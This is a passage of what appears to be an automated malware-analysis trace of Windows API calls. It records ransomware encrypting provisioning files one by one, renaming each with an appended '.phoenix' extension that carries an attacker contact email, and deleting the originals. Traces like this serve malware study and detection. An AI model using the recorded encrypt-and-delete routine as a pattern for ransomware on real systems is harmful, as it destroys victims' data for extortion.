	[0237.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\186__connections_cellular_magyar telekom (hungary)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.978] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\186__connections_cellular_magyar telekom (hungary)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.978] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.978] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.978] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\186__connections_cellular_magyar telekom (hungary)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.979] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151580) returned 1
	[0237.979] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.979] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d7, lpOverlapped=0x0) returned 1
	[0237.980] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0237.980] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0237.981] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151200) returned 1
	[0237.981] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.981] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0237.981] CryptDestroyKey (hKey=0x151200) returned 1
	[0237.981] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0237.981] CryptDestroyKey (hKey=0x151580) returned 1
	[0237.981] CloseHandle (hObject=0x2f0) returned 1
	[0237.981] CloseHandle (hObject=0x2c0) returned 1
	[0237.982] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\186__connections_cellular_magyar telekom (hungary)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.983] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.983] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\187__connections_cellular_vodafone hu (hungary)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.983] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=731) returned 1
	[0237.983] CloseHandle (hObject=0x2c0) returned 1
	[0237.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\187__connections_cellular_vodafone hu (hungary)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\187__connections_cellular_vodafone hu (hungary)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.983] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\187__connections_cellular_vodafone hu (hungary)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.983] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.984] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.984] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\187__connections_cellular_vodafone hu (hungary)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.984] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151180) returned 1
	[0237.984] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.984] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2db, lpOverlapped=0x0) returned 1
	[0237.989] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0237.989] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0237.989] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151580) returned 1
	[0237.989] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.989] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0237.990] CryptDestroyKey (hKey=0x151580) returned 1
	[0237.990] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0237.990] CryptDestroyKey (hKey=0x151180) returned 1
	[0237.990] CloseHandle (hObject=0x2c0) returned 1
	[0237.990] CloseHandle (hObject=0x2f0) returned 1
	[0237.990] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\187__connections_cellular_vodafone hu (hungary)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.991] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.991] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\188__connections_cellular_vodafone hu (hungary)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.991] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=739) returned 1
	[0237.991] CloseHandle (hObject=0x2f0) returned 1
	[0237.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\188__connections_cellular_vodafone hu (hungary)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0237.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\188__connections_cellular_vodafone hu (hungary)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.992] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\188__connections_cellular_vodafone hu (hungary)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.992] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.992] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.992] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\188__connections_cellular_vodafone hu (hungary)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0238.018] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151580) returned 1
	[0238.018] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0238.018] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2e3, lpOverlapped=0x0) returned 1
	[0238.019] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2f0) returned 1
	[0238.019] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2f0, lpOverlapped=0x0) returned 1
	[0238.020] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151280) returned 1
	[0238.020] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0238.020] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0238.020] CryptDestroyKey (hKey=0x151280) returned 1
	[0238.020] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0238.020] CryptDestroyKey (hKey=0x151580) returned 1
	[0238.020] CloseHandle (hObject=0x2f0) returned 1
	[0238.021] CloseHandle (hObject=0x2e4) returned 1
	[0238.021] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\188__connections_cellular_vodafone hu (hungary)_i1$(__mvid)@wap.provxml")) returned 1
	[0238.022] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0238.022] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\192__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0238.023] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=480) returned 1
	[0238.023] CloseHandle (hObject=0x2e4) returned 1
	[0238.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\192__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0238.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\192__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.023] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\192__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0238.023] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0238.023] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0238.023] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\192__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0238.024] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0238.024] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0238.024] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1e0, lpOverlapped=0x0) returned 1
	[0238.025] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0) returned 1
	[0238.025] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1f0, lpOverlapped=0x0) returned 1
	[0238.026] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151700) returned 1
	[0238.026] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0238.026] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0238.026] CryptDestroyKey (hKey=0x151700) returned 1
	[0238.026] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0238.026] CryptDestroyKey (hKey=0x151400) returned 1
	[0238.026] CloseHandle (hObject=0x2e4) returned 1
	[0238.026] CloseHandle (hObject=0x2f0) returned 1
	[0238.026] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\192__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0238.027] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0238.027] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\193__connections_cellular_aircel (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0238.028] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=707) returned 1
	[0238.028] CloseHandle (hObject=0x2f0) returned 1
	[0238.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\193__connections_cellular_aircel (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\193__connections_cellular_aircel (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.028] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\193__connections_cellular_aircel (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0238.028] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0238.028] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0238.028] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\193__connections_cellular_aircel (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0238.029] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0238.029] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
